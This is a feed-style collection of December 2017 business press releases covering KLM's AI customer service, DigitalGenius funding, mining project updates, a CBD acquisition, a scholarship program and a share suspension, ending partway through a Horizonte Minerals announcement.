CHINA CDM EXCHANGE CENTRE LTD (the "Company") China CDM Exchange Centre Ltd has always dedicated itself to creating shareholder value through investments and throughproviding brokerage, advisory and research services relating to the reduction of greenhouse gases. However, the directors announce that due to some issues during the annual returns with Jersey Registry, the shares of the Company have been suspended on NEX. The Board are investigating solutions to restore the Company and will seek restoration of the trading of the shares on the NEX Exchange. The directors of the Company accept responsibility for this announcement. For further information please contact: NEX Corporate Adviser- Alfred Henry Corporate Finance Limited Jon Isaacs: 020 3772 0021

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Next step in social media service with artificial intelligence from DigitalGenius AMSTELVEEN, The Netherlands and SAN FRANCISCO, 2017-12-19 13:30 CET (GLOBE NEWSWIRE) -- KLM Royal Dutch Airlines is taking the next step in using artificial intelligence (AI) within its social media service. KLM worked with AI frontrunner, DigitalGenius, to add automated answers to general repetitive questions from customers without the intervention of a human service agent. This gives KLM agents more time to focus on questions in conversations with customers that require a human approach. KLM is the first airline to offer a combination of human agents and artificial intelligence in a single conversation on Twitter, Messenger and WhatsApp. KLM receives over 130,000 mentions via social media per week. This number has grown since the introduction of WhatsApp as a service channel. A dedicated team of 250 social media service agents personally engages in 30,000 conversations each week. On average, conversations consist of five or six questions and answers between KLM and its customers. Questions that can be answered automatically with the use of artificial intelligence usually come at the beginning of the conversation. KLM has been using AI provided by DigitalGenius, which now supports over 50% of all inquiries, for a year and-a-half. When agents need to answer questions, AI provides them with a possible answer. The AI system learns from the service agent's actions and gets smarter over time. Until now, the agents had to decide if the proposed answer suits the question, adjust the answer if necessary and send it to the appropriate social media channel. With the high volumes of customer questions that the AI system has handled, KLM is now able to automate the answers to the most common questions on any subject without the interference of a human service agent. With the help of this next step in social media, KLM service agents have more time to focus on questions that require a human approach. Pieter Groeneveld, Senior Vice President Digital Air France-KLM: "By using artificial intelligence, KLM makes conversations with our customers even more timely, correct, and personal. This is what characterises KLM. Heavy snowfall in the Netherlands last week, caused a significant increase of the number of questions on social media. Passengers obviously expect a timely answer. With the use of AI we support our service agents with technology and should be able to answer many more questions in a shorter period of time. This is exactly what the customer needs." Mikhail Naumov, Co-founder & President DigitalGenius: Once again, KLM has achieved an industry-first - the ability to provide hybrid "Human+AI" conversations to support their customers. They are a stellar example of a company that uses technology to unlock human time and potential - all in service of their respected brand and their customers. Contact: Natalie Issa (For DigitalGenius) 248-613-3513 nataliegissa@gmail.com
Funding caps off milestone year for the company becoming the most embraced deep learning product in the Customer Service industry SAN FRANCISCO, 2017-12-19 13:30 CET (GLOBE NEWSWIRE) -- DigitalGenius, the leader in AI for customer service, today announced it has secured $14.75 million in Series A funding. The round was led by Global Founders Capital, with participation from MMC Ventures, Paua Ventures, Kairos and several other funds, as well as follow-on investments from previous investors, including Runa Capital, Spider Capital, Salesforce Ventures, RRE Ventures, Lumia Capital, Compound and Lerer Hippeau Ventures. DigitalGenius has raised $26 million to date. "With this capital, we are fortifying our position as the leader in practical applications of AI for Customer Service," said Dmitry Aksenov, Founder and CEO of DigitalGenius. "Our technology works as an intelligence layer on top of existing customer service platforms to automate and significantly speed up case resolution, transforming the way work is being done in contact centers." Further, DigitalGenius announced the appointment of Roque Versace as Chief Revenue Officer. An accomplished technology executive with 15+ years of commercial leadership experience in the SaaS industry -- including responsibility for corporate sales at Salesforce.com. Versace will play a key role in driving further growth for the company. DigitalGenius has already demonstrated a strong foothold in the "AI for Customer Service" space with a growing list of customers that includes KLM Royal Dutch Airlines, Unilever, Eurostar, Soylent, TravelBird and others. This quarter the company also announced its first government partnership with the Aylesbury Vale District Council. The Series A caps off a milestone year for DigitalGenius -- the company now leads the adoption of practical deep learning applications in the customer service industry. DigitalGenius is powering over 35 global contact centers with state of the art artificial intelligence. DigitalGenius will deploy the new funding to fuel commercial expansion. The company will continue evolving its product to automate even more of the repetitive workflows that agents are required to execute daily, enabling them to focus on more valuable tasks. About DigitalGenius DigitalGenius brings practical applications of artificial intelligence into the customer service operations of global companies. Its Human+AI Customer Service Platform combines the best of human and machine intelligence, enabling companies to live up to and exceed rising consumer expectations. At its core are deep-learning algorithms, which are trained on historical customer service transcripts and integrated directly into the contact center's existing software. Once enabled, the platform automates and increases the quality and efficiency of customer support conversations across text-based communication channels like email, chat, social media and mobile messaging. For more information, please visit www.digitalgenius.com Contact: Natalie Issa (For DigitalGenius) 248-613-3513, nataliegissa@gmail.com
STOCKHOLM, Dec. 19, 2017 /PRNewswire/ -- H&D Wireless, leading Swedish supplier of IoT, Cloud and Platform solutions, receives an order for wireless modules and will assist in designing the HDG205 System In Package (SIP) module to their IP-radio. This marks a continued trust in H&D Wireless who has been supplying previous generation modules since 2014.

H&D Wireless is providing the HDG205 Wi-Fi SIP module including design services and support to the assigned ODM, TQ Group. The order is another indicationthat H&D Wireless is becoming a leader for wireless connectivity within the European market for Internet of Things, IoT. The HDG205 Wi-Fi b/g/n low cost SIP module with its small size (8x8mm) and high bandwidth is optimized for demanding applications such as streaming video and audio within industry and home.

Initial order value is 85 KUSD (722,000 SEK) and add-on orders are expected over the next three years. "We are very proud to be selected again for this project with a European market leader for Internet driven radio technology. Working with TQ Group is ensuring shortest and safest way to final implementation and volume ramp". says Par Bergsten, CEO, H&D Wireless.

This information is information that H&D Wireless AB (publ) is obliged to make public pursuant to the EU Market Abuse Regulation. The information was submitted for publication, through the agency of the contact person set out above, December 19th 2017.

Helpful links:

About H&D Wireless

www.tq-group.com

About H&D Wireless:

H&D Wireless is a Swedish Internet of Things cloud and platform system provider. Its Griffin IoT cloud platform is an end-to-end system solution containing world-class wireless modules, cloud services with analytics and artificial intelligence and smartphone applications for smart homes and enterprises. Since 2016, the company offers Griffin Enterprise Positioning Service (GEPS ') as a cloud service for indoor positioning of physical things in business processes. H&D Wireless was founded in 2009 and is among Sweden's fastest growing and most decorated IoT companies, with more than 1,100,000 wireless products shipped to date for IoT, M2M solutions across the globe.

About TQ Group

TQ is one of the leading technology companies in Germany. As a system provider in the EMS area (Electronic Engineering and Manufacturing Services), TQ develops and produces complex electronic assemblies and systems based on customer orders. Additionally, TQ offers ready-made component solutions such as embedded module and systems, drive solutions for e-bikes and robotics, solutions for aviation applications, medicine as well building automation and energy management. The TQGroup has a total of over 1,500 employees at 12 locations in Germany and abroad.

Logo- http://mma.prnewswire.com/media/494475/H_and_D_Wireless_Logo.jpg
HO CHI MINH CITY, VIETNAM--(Marketwired - December 19, 2017) - Sunflower Mission celebrates its 15 th anniversary year of supporting student education in Vietnam and presented a total of 60 university scholarships to engineering and technology students in Danang on December 4 and in Ho Chi Minh City on December 5. Sunflower Mission, a U.S.-based non-profit organization, was founded in 2002 to improve the lives of people in Vietnam through educational assistance programs and to also provide life-long leadership skills for students in America. Sunflower Mission Engineering & Technology Scholarship focuses on students who demonstrate not only academic excellence but also exemplify civic leadership potential.

"These scholarships will help students finish their university studies and, we hope, build a career in the semiconductor industry, either in integrated circuit (IC) design or software development. More importantly, these are students who will give back to the community. We chose students who understand that success is not just about money, it's not just about the individual or the extended family - it is also about working for a greater cause," said Duy-Loan Le, founding member of Sunflower Mission and an independent member of the board of directors of eSilicon Corp.

"Sunflower Mission's corporate partner, eSilicon Corporation, an independent provider of complex FinFET-class ASIC design, custom IP and advanced 2.5D packaging solutions, made its Vietnam engineering team available to act as technical advisors and select the top 60 students. The program had a rigorous selection process that included writing an English essay, followed by an interview that focused on technical areas, leadership qualities and commitment to contribute to the community," said Bruce Newton, VP global HR and country director, eSilicon Vietnam. Mr. Newton also commented, "eSilicon Vietnam was also very pleased to provide four of the winning students with an offer of employment after they graduate to join our 300-strong engineering team in Vietnam this year."

"This year, we focused on students who have a passion for either IC design or software application development because we believe the ability to design and support advanced technology is critical to a country's sustainable development and its long-term economic success," said Ms. Le.

eSilicon, a donor since 2005, administered the scholarship program with the guidance of Sunflower Mission and hosted the ceremonies at venues in Danang and Ho Chi Minh City. The ceremony began with remarks from Ms. Le, a world-leading engineer who holds 24 patents through her prior work with Texas Instruments, and Mr. Deepak Sabharwal, vice president of engineering at eSilicon Corporation, eSilicon Vietnam's parent company. As part of the ceremony, the scholarship recipients, along with scholarship alumni, participated in a lively question-and-answer session with a panel of experts in the STEM field and were advised by Mr. Sabharwal to "follow their career choice with passion and have the flexibility to adjust to changing circumstances." The ceremony ended with a scholarship presentation to the students and a photo session with family members and university representatives.

"By giving the students an opportunity to dialog with executives who are accomplished, experienced and caring, I want to show students life's possibilities," said Ms. Le. "Through our interactions, I hope to inspire them with the simple message that they can work hard with passion to change their lives ... and then go on to change others' lives. That is what humanity is all about."

About Sunflower Mission

Sunflower Mission is a U.S.-based, nonprofit, non-political, non-governmental organization. It seeks to improve the future of Vietnam, one student at a time, by providing classrooms, educational materials and scholarships. Since 2002, it has built and maintained 158 classrooms, awarded more than 18,000 scholarships to students at all levels, from elementary school through college, 465 students graduating from college. Please visit www.sunflowermission.org to learn how you can participate.

About eSilicon

eSilicon is an independent provider of complex FinFET-class ASIC design, custom IP and advanced 2.5D packaging solutions. Its ASIC+IP synergies include complete, silicon-proven 2.5D/HBM2 and TCAM platforms for FinFET technology at 14/16nm as well as SerDes, specialized memory compilers and I/O libraries. Supported by patented knowledge base and optimization technology, eSilicon delivers a transparent, collaborative, flexible customer experience to serve the high-bandwidth networking, high-performance computing, artificial intelligence (AI) and 5G infrastructure markets.

Collaborate. Differentiate. Win

eSilicon is a registered trademark, and the eSilicon logo is a trademark, of eSilicon Corporation. Other trademarks are the property of their respective owners.

Contacts:

Duy-Loan Le

Sunflower Mission

Email contact





Sally Slemons

eSilicon Corporation

408-635-6409

Email contact


MONTREAL, QUEBEC -- (Marketwired) -- 12/19/17 -- Yorbeau Resources Inc. (TSX: YRB) (the "Company" or "Yorbeau") is pleased to announce that it has filed on SEDAR a Technical Report in compliance with National Instrument 43-101 (NI 43-101) on a Preliminary Economic Assessment ("PEA") of the Company's 100% owned Scott Lake Project near Chibougamau, Quebec. The Technical Report was prepared by Roscoe Postle Associates Inc. ("RPA").

Under the base case PEA, the Scott Lake mineralized material is fed to a new 2,500 tonne-per-day concentrator plant located at the mine site. Results indicate positive economics with a pre-production capital expenditure of $215 million, a net pre-tax cash flow of $519 million, an Internal Rate of Return ("IRR") of 16.6%, a pre-tax Net Present Value ("NPV") of $146 million at an 8% discount rate, and a mine life of 15 years.

The PEA economic analysis is based in part on Inferred Mineral Resources, and is preliminary in nature. Inferred Mineral Resources are considered too geologically speculative to have mining and economic considerations applied to them and to be categorized as Mineral Reserves. There is no certainty the economic forecasts based on this PEA will be realized.

Yorbeau's news release dated November 20, 2017 summarizes the assumptions and key results contained in the Technical Report. There are no material differences between the key results contained in Yorbeau's news release dated November 20, 2017 pertaining to the Scott Lake deposit, from those contained in the Technical Report filed today. Economic analysis in the Technical Report includes both pre-tax and after-tax results.

Qualified Persons

Work at Yorbeau is carried out under the supervision of Gerald Riverin, PhD, P. Geo. He is a qualified person (as defined by NI 43-101) and has reviewed and approved the content of this release. The Technical Report and PEA referred to in this press were prepared by William E. Roscoe, Ph.D., P.Eng. and Normand Lecuyer, P.Eng. Both are employees of RPA and are independent of Yorbeau. By virtue of their education and relevant experience, they are "Qualified Persons" for the purpose of National Instrument 43-101. William E. Roscoe and Normand Lecuyer have read and approved the contents of this press release as it pertains to the disclosed mining, milling and cost estimate aspects.

About Yorbeau Resources Inc.

The Company's 100% controlled Rouyn Property contains four known gold deposits in the 6-km-long Augmitto-Astoria corridor situated on the western half of the property. Two of the four deposits, Astoria and Augmitto, have substantial underground infrastructure and have been the subject of NI 43-101 technical reports that include resource estimates. In 2015, the Company expanded its exploration property portfolio by acquiring strategic base metal properties in prospective areas of the Abitibi Belt of Quebec and Ontario that also feature infrastructure favourable for mining development. The newly acquired base metal properties include Scott Lake which hosts important mineral resources and on which a positive Preliminary Economic Assessment was recently completed.

More information on the Company may be found on the Company's website at www.yorbeauresources.com.

Forward-looking statements: Except for statement of historical fact, all statements in this news release, without limitation, regarding new projects, acquisitions, future plans and objectives are forward-looking statements which involve risks and uncertainties. There can be no assurance that such statements will prove to be accurate; actual results and future events could differ materially from those anticipated in such statements. The results of the economic analysis represent forward-looking information, as defined under Canadian securities laws, that is subject to a number of known and unknown risks, uncertainties and other factors that may cause actual results to differ materially from those presented in the PEA. RPA is of the opinion that the accuracy of the results is in the range of industry wide commonly accepted scoping studies.

Contacts:

Gerald Riverin, Ph D., P. Geo

President

Yorbeau Resources Inc.

griverin@yorbeauresources.com

Tel: 819-279-1336

www.yorbeauresources.com



G. Bodnar Jr.

Vice President

Yorbeau Resources Inc.

gbodnar@yorbeauresources.com

Tel.: 514-384-2202

Toll free in North America: 1-855-384-2202




The Tennessee Journal announced Fridays publication will be the last with Ed Cromer serving as editor.

It is very difficult to express how much I will miss the weekly writings of Ed Cromer  he is one of a kind," said Attorney General Herbert H. Slatery, III.

"Ed combined a deep knowledge of state government and politics with a sharp wit and unmatched journalistic integrity. The Journal has been a must read for decades thanks to Ed. I have often said 'we need more like Ed Cromer' knowing full well that finding someone who could teach you and make you chuckle at the same time is virtually impossible.

"While much deserved, Eds retirement is a big loss for the media industry and an even bigger loss for our State.




LONGUEUIL, QUEBEC -- (Marketwired) -- 12/19/17 -- Reunion Gold Corporation (TSX VENTURE: RGD) (the "Company") is pleased to provide an update of its exploration activities on its Guiana Shield gold projects.

French Guiana Gold Projects

In French Guiana, the Company has an interest in three gold exploration projects: Dorlin (option to earn a 75% interest), Boulanger (option to earn a 100% interest) and Haute Mana (option to earn an 80% interest).

On Dorlin, the Company has submitted an application to the French authorities to obtain the necessary permit to conduct an exploration program. The proposed work program consists of relogging and resampling the historic core followed by approximately 9,000 meters of diamond drilling in the Nivre Mountain prospect area. In addition, a hundred kilometers-lines induced polarization (IP) survey is planned in the northern extension of the Nivre area, and in the d'Artagnan, Roche d'Olon, and Sept Kilos areas. The IP survey will be followed-up by a deep augering program to identify new drill targets that will then be permitted. If the results of the drill program are positive, the Company would then retain an independent qualified person to prepare an updated mineral resource estimate. Subject to receipt of the permit to carry out the program in early 2018, Reunion anticipates completing the work program by the end of 2018 for an estimated cost of $4.4 million.

On Boulanger, the Company has initiated the compilation of available historical data and is preparing an exploration work program which aims to follow-up on work done by previous operator. Plans include relogging and resampling existing core, geological mapping, and systematic surface and trench sampling to confirm the continuity and geometry of the mineralized quartz veining. The program will initially focus on the Carapa and Doyle prospect areas, where artisanal mining occurred in the past. An airborne survey of the Boulanger Project and a 42 kilometers-lines IP survey followed by deep augering in the Doyle area are also planned. A minimum 1,000 meters diamond drill program should commence in 2018 once the permits required under the French mining regulations have been obtained. The objective is to confirm the historical gold mineralized zones and to collect structural information to build a geological model in an area with only few outcrops. An airborne magnetometer and spectrometer survey is also planned on the whole property. The Company plans to spend approximately $2.4 million at Boulanger by the end of September 2018.

On Haute Mana, pending final closing of the option transaction, work will be limited to the compilation of historical data and desktop studies. Upon approval by the French mining authority of a rehabilitation plan of old alluvial mining sites on the project, the transaction will close, and the Company intends to fund and supervise the approved rehabilitation work and prepare application for various permits required to conduct exploration work. Estimated costs for these activities at Haute Mana are $0.7 million.

Guyana Gold Projects

In Guyana, Reunion has entered into a joint venture agreement which includes an option to acquire a 100% interest in the Aremu gold project covered by four PPMS blocks and 14 claims (a total surface of 5,164 acres) licensed to a local miner. The Company has begun a systematic exploration program at Aremu including geological mapping, pit and soil sampling of artisanal workings and a review of all available geological gold mining information. The Company estimates that this program will cost approximately $1.3 million.

The Company is evaluating other mineral properties in Guyana with expected expenses of approximately $1.0 million over the next 9 months.

Qualified Person

The technical information in this press release has been reviewed and approved by Dominique Fournier, Ph.D. Exploration Manager at Reunion, and a qualified person under Canadian National Instrument 43-101.

ABOUT REUNION

Reunion Gold Corporation is a Canadian exploration company focused on acquiring, exploring and developing gold projects in the Guiana Shield, South America. Reunion is fully financed to complete the work programs described in this press release, having recently completed two private placements for a total amount of approximately $20 million.

The Company has 319,916,587 common shares issued and outstanding. More information about the Company is available on the Company's website at www.reuniongold.com and on SEDAR at www.sedar.com.

Cautionary Statement

This news release contains certain "forward-looking information" under Canadian securities laws. All statements that address future activities, events or developments that the Company believes, expects or anticipates will or may occur are forward-looking information. Specifically, this news release contains forward looking information about the Company's planned drilling and exploration activities on its projects, the grant of required permits and the closing of the Haute Mana option transaction. Forward looking information is based upon assumptions by management that are subject to known and unknown risks and uncertainties beyond the Company's control, including risks related to receipt of the permits required to conduct the exploration programs in French Guiana, the results of the exploration programs and the renewal of various mining concessions that expire on December 31, 2018. There can be no assurance that outcomes anticipated in the forward-looking information will occur, and actual results may differ materially for a variety of reasons. Accordingly, readers should not place undue reliance on forward-looking information. The Company undertakes no obligation to update publicly or otherwise revise any forward-looking information, except as may be required by law.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release.

Contacts:

Reunion Gold Corporation

Rejean Gourde, President & CEO, or

David Charles CFA, Investor Relations

+1 450.677.2585

info@reuniongold.com

www.reuniongold.com




VANCOUVER, BC / ACCESSWIRE / December 19, 2017 / Vancouver, BC / New Age Farm Inc. (CSE:NF) (OTC:NWGFF) (FSE:ONF) (www.newagefarminc.com) ("New Age Farm" or the "Company") is pleased to announce the signing of a definitive agreement for the acquisition of the Denver based We Are Kured LLC ("We Are Kured").

As announced in the company's news releases of December 7 and December 12, We Are Kured is a hemp derived CBD company that has partnered with some of the top cannabis marketing, formulators, cultivators and product manufacturers in the global cannabis industry to develop, formulate and distribute a variety of hemp derived CBD products. We Are Kured's plan and roll out strategy will be phased, a strategy which will allow it to develop sales channels and relationships while systematically building out a back end focused on hemp cultivation and extraction with the goal of full vertical integration. We Are Kured aims to be an industry leader in hemp cultivation, product formulation and manufacturing, extraction, online retailing and raw hemp bulk product wholesale.

We Are Kured's first product will be a state of the art disposable atomizing vaporizer. This vaporizer will be pre-loaded with 250mg cartridges of the very best available CBD oil infused with specifically flavoured terpenes in Bubba Kush, OG Kush, Flo and Blue Dream. These flavoured terpenes will set We Are Kured's vaporizers apart from the current competition in the market.

Mr. Benjamin Martch, President of We Are Kured stated, "My team and I couldn't be more excited to be joining forces with New Age Farm. After many long discussions it has become clear that we share the same vision as the team at New Age Farm. Now that we have access to the capital markets and the associated benefits, we truly couldn't be more excited about the future of our company."

Mr. Carman Parente, president and CEO of New Age Farm commented, "We are so very pleased to be bringing this opportunity to our stakeholders, to be at the forefront of the hemp industry with unique and well-placed CBD products from We Are Kured that offer the benefits of cannabis to consumers without the THC. This means that New Age Farm is positioned to participate in the lucrative legalized cannabis industry without the downside risk that comes from producing and growing cannabis. This is an amazing addition to our business portfolio and will generate revenues early on that can be reinvested in growing New Age Farm to reach its full potential."

About New Age Farm

New Age Farm is an agricultural services company offering unique turnkey growing infrastructure and services for licensed growers and processors of luxury marijuana crops at three agri-campuses in Washington State.

In November 2012, the Washington State Liquor and Cannabis Board ("WSLCB") passed Initiative 502 ("I-502") pursuant to a vote by the people of the State of Washington. I-502 authorized the WSLCB to regulate and tax recreational marijuana products for persons over twenty-one years of age and thereby created a new industry for the growing, processing and selling of Washington State-regulated recreational marijuana products In compliance with state regulatory requirements,

New Age Farm's facilities feature 24 hour security that enhances the safety and security of the community, our tenant-growers and their operations. All New Age Farm's tenant-growers hold either Tier 2 or Tier 3 licenses allowing them to produce and / or process marijuana for sale at wholesale to marijuana processor licensees and to other marijuana producer licensees. A Tier 3 license allows for between ten thousand square feet and thirty thousand square feet of dedicated plant canopy while Tier 2 licensees can have up to ten thousand square feet of dedicated plant canopy. Revenue is generated on a base lease rate and the level of service that the tenant-grower requires for its production and / or its processing needs.

For further information about New Age Farm, please consult the Company's profile on SEDAR at www.sedar.com.

On Behalf of the Board Of Directors

Carman Parente

President and Chief Executive Officer

cparente@newagefarminc.com

For Further Information Contact

Corporate Communications

corpcom@newagefarminc.com

888-871-3936

WWW.NEWAGEFARMINC.COM

Follow us

The Canadian Securities Exchange has neither approved nor disapproved the contents of this news release and accepts no responsibility for the adequacy or accuracy hereof

This news release contains forward-looking statements, which relate to future events or future performance and reflect management's current expectations and assumptions. Such forward-looking statements reflect management's current beliefs and are based on assumptions made by and information currently available to the Company. Readers are cautioned that these forward looking statements are neither promises nor guarantees, and are subject to risks and uncertainties that may cause future results to differ materially from those expected including, but not limited to completion of planned improvements at both the Canadian and US sites on schedule and on budget, the availability of financing needed to complete the Company's planned improvements on commercially reasonable terms, planned occupancy by the tenant-growers, commencement of operations, differences in yield on expected harvests, delays in obtaining statutory approval for marijuana production plans, issues that may arise throughout the grow period, outdoor crops affected by weather, the ability to mitigate the risk of loss through appropriate insurance policies, and the risks presented by federal statutes that may contradict local and state legislation respecting legalized marijuana. These forward-looking statements are made as of the date hereof and the Company does not assume any obligation to update or revise them to reflect new events or circumstances save as required under applicable securities legislation. This news release does not constitute an offer to sell securities and the Company is not soliciting an offer to buy securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of such jurisdiction.

This news release does not constitute an offer of securities for sale in the United States. These securities have not and will not be registered under United States Securities Act of 1933, as amended, or any state securities laws and may not be offered or sold in the United States or to a U.S. Person unless so registered, or an exemption from registration is relied upon.

SOURCE: New Age Farm Inc.
LONDON, UNITED KINGDOM -- (Marketwired) -- 12/19/17 -- Horizonte Minerals Plc, (AIM: HZM)(TSX: HZM) ("Horizonte" or the "Company") the nickel development company focused in Brazil, is pleased to announce that it has reached an agreement with Vale S.A ("Vale") to acquire (the "Acquisition") 100% of the advanced Vermelho nickel-cobalt project in Brazil ("Vermelho"). In addition the Company is pleased to announce a conditional placing (the "Placing") of ordinary shares in the Company (the "Placing Shares") in the U.K. and Canada to raise up to GBP 8.5 million (before expenses) at 3.5p per Placing Share.

Highlights

-- Vermelho was approved by Vale in 2005 with nameplate annual production capacity of 46,000 tonnes of nickel and 2,500 tonnes of cobalt; -- The combination of Horizonte's 100% owned Araguaia and Vermelho nickel projects creates one of the leading nickel development companies globally; -- The Vermelho project has a high grade scalable mineral resource with over 1 million tonnes of contained nickel and 43,000 tonnes of contained cobalt(i); -- Feasibility study completed by Vale (the "Vermelho Feasibility Study"): all data was acquired as part of the transaction and can be used in future studies; -- Total acquisition cost of US$8.0 million. Initial cash payment of $150,000 upon signing, and US$1,850,000 due on the second anniversary with the balance payable on sale of first commercial product; and, -- Conditional placing to raise GBP 7 million in the U.K. and up to GBP 1.5m in Canada to fund the Vermelho acquisition, Preliminary Economic Assessment (PEA) for Vermelho, commence early works engineering and advance permitting at Araguaia with the objective of being construction ready late H2 2018.

Horizonte CEO Jeremy Martin said, "I am delighted to announce the acquisition of Vermelho which transforms Horizonte into a multi-asset company bringing together two large, advanced nickel assets located in an established mining region in the Para State northern, Brazil. The Vermelho project also contains a large cobalt resource which Vale planned to process alongside the nickel, which gives Horizonte exposure to an additional commodity stream, in light of the growing interest in both cobalt and nickel for use in the Electric Vehicle battery market."

"This transaction is one of those rare opportunities that benefits from having had a full Feasibility Study completed by one of the world's leading mining groups. The acquisition is the latest, and largest, transaction following Horizonte's successful strategy of discovering, consolidating and acquiring nickel resources at low points in the commodities cycle and adding value to position ourselves as the leading nickel development company. We have been able to negotiate the acquisition of the project for US$8m, with US$2m up front in cash and the balance paid on first commercial sale of product, and we consider this transaction offers compelling value for shareholders."

This acquisition comes at an exciting time for Horizonte. The Araguaia nickel project moves towards completion of the Feasibility Study due in Q1 2018, with the construction permits due mid-2018. These corporate developments sit against a backdrop of improving nickel market fundamentals, driven by the robust market for stainless steel combined with the fast growing Electric Vehicle market focused on nickel and cobalt."

The Vermelho nickel project

The Vermelho nickel project is located approximately 85km from the northern part of Horizonte's Araguaia project located south of the Carajas mining district the state of Para, Brazil. The Carajas district is an established mining region with well-developed infrastructure in place, including rail, roads and hydro-electric power.

The Vermelho project was developed by Vale with the objective of becoming its principal nickel-cobalt operation. Extensive work was undertaken on the project, which included drilling programmes totalling 152,000 metres, full scale pilot test work and detailed engineering studies. The project was subsequently taken through a feasibility programme with Vale announcing a positive development decision in 2005. The project was designed around the construction of a high pressure acid leaching plant (HPAL) to process the nickel/cobalt laterite ore. The Feasibility Study included a five-year metallurgical test work and pilot plant programme which delivered 96% average leaching extraction rates of nickel and cobalt, in addition LME grade nickel - cathode was produced. The Feasibility Study showed production capacity of 46,000 tons/annum ("tpa") of metallic nickel, and 2,500 tpa of metallic cobalt, with an expected commercial life of 40 years. Vermelho was subsequently placed on hold after delivery of the FS upon an internal review.

A historical Mineral Resource estimate for Vermelho prepared by the Snowden Group at a 0.90% nickel cut-off in May 2005 is presented in Table 1 below.

Table 1 Historical Mineral Resource Estimate for Vermelho(i)

---------------------------------------------------------------------------- Contained Contained Resource Tonnage Ni metal Co metal Ni Co Fe MgO SiO2 Category (kt) (Kt) (kt) (%) (%) (%) (%) (%) ---------------------------------------------------------------------------- Measured 83,355 1,033 41.7 1.24 0.05 20.02 13.41 40.01 Indicated 2,721 31 1.6 1.15 0.06 18.49 8.96 47.63 ---------------------------------------------------------------------------- Measured + Indicated 86,076 1,065 43.3 1.24 0.05 19.97 13.27 40.25 ---------------------------------------------------------------------------- Inferred 1,959 23 0.8 1.17 0.04 16.29 16.78 40.04 ----------------------------------------------------------------------------

(i) Vermelho mineral resource data is historic in nature and based on the report titled Niquel do Vermelho Project - Supplemental Mining and Resource Work report prepared for Vale with respect to Vermelho in May 2005 by the Snowden Group. A "qualified person" (as defined in National Instrument 43-101 - Standards of Disclosure for Mineral Projects) has not done sufficient work to classify the historical estimate as current mineral resources or mineral reserves and the Company is not treating the historical estimates as a current mineral resource or mineral reserve. A review by the Company has indicated that the data preparation has been undertaken according to industry best practices and that the historical estimate has provided an approximate basis for analysis conducted to date.

Transaction Details

The terms of the Acquisition require Horizonte to pay an initial cash payment of US$150,000 with a further US$1,850,000 in cash payable on the second anniversary of the signing of the asset purchase agreement. A final payment of US$6,000,000 in cash is payable by Horizonte within 30 days of first commercial sale of product from Vermelho.

In addition to the purchase price, the Company has granted a 1% Net Smelter Royalty ("NSR") to Vale on any nickel produced during the first 10 years of commercial production up to a maximum of 15,000 t/a, which then reduces to a 0.5% NSR thereafter.

As part of the acquisition of the Vermelho project, the Company will acquire Vale's rights under a mining licence application in respect of the project comprising an area covering 2,000 hectares. Further development of the Vermelho project will be subject, amongst other things, to the Company being granted the required mining licence and other customary licences and permits.

Details of the Placing

The Company has today announced that it has conditionally agreed to raise GBP 7 million, before expenses, through a conditional placing by Numis Securities Ltd. ("Numis") in the U.K. of 200,000,000 Placing Shares at the Placing Price (the "UK Placing"). In addition, the Company will seek to place up to 42,857,143 Placing Shares at the Placing Price in Canada by way of a non-brokered private placement to raise gross proceeds of up to GBP 1.5m, subject to Admission (as defined below), TSX Approval (as defined below), and receipt by Horizonte of payment and completed subscription agreements from Canadian subscribers (the "Canadian Offering"). The Placing Shares issued under the UK Placing will represent 14.6 per cent. of the Company's issued ordinary share capital immediately upon completion of the UK Placing. A further announcement will be made in due course in relation to the outcome of the Canadian Offering. NRG Capital and Paradigm Capital are acting as financial adviser in connection with the Placing

The Placing Agreement

Pursuant to the terms of the placing agreement between the Company and Numis (the "Placing Agreement"), Numis, as agent for the Company, has conditionally agreed to use its reasonable endeavours to procure subscribers for 200,000,000 Placing Shares. Numis has conditionally placed such Placing Shares at the Placing Price. The Placing is conditional inter alia upon the admission of such Placing Shares to trading on AIM ("Admission") becoming effective and to the Company having received the conditional approval of the TSX to the admission of such Placing Shares to trading on TSX ("TSX Approval"), by no later than 8.00 a.m. on 22 December 2017 (or such time and date as the Company and Numis may agree, being not later than 8.00 a.m. on 29 December 2017). The Placing is not being underwritten.

The Placing Agreement contains customary warranties from the Company in favour of Numis in relation to, inter alia, the accuracy of the information in this announcement and other matters relating to the Horizonte group and its business. In addition, the Company has agreed to indemnify Numis in relation to certain liabilities it may incur in respect of the Placing. Numis has the right to terminate the Placing Agreement in certain circumstances prior to Admission, in particular, in the event of a breach of the warranties given to Numis in the Placing Agreement, the failure of the Company to comply with any of its obligations under the Placing Agreement and the occurrence of a force majeure event.

The completion of the UK Placing is not conditional upon the completion of the Canadian Offering and completion of the Canadian Offering will not be conditional upon the completion of the UK Placing.

Settlement and dealings

The Placing is being conducted under existing authorities to allot shares and as such there is no requirement for approval at a general meeting.

Application has been made to the London Stock Exchange for the Placing Shares to be admitted to trading on AIM. It is expected that Admission of 200,000,000 of the Placing Shares placed under the UK Placing will become effective and dealings in such Placing Shares will commence at 8.00 a.m. on 22 December 2017. The issuance and admission to AIM of up to 42,857,143 Placing Shares that may be placed pursuant to the Canadian Offering would occur in early January 2018 and an appropriate announcement will be made in due course.

The Placing Shares will, when issued, rank pari passu in all respects with the ordinary shares of the Company that are issued and outstanding (the "Existing Shares") including the right to receive dividends and other distributions declared following Admission.

Appointment of Broker

Concurrent with the financing, the Company is pleased to announce the appointment of Numis as its broker with immediate effect.

Canadian Securities Law and TSX Matters

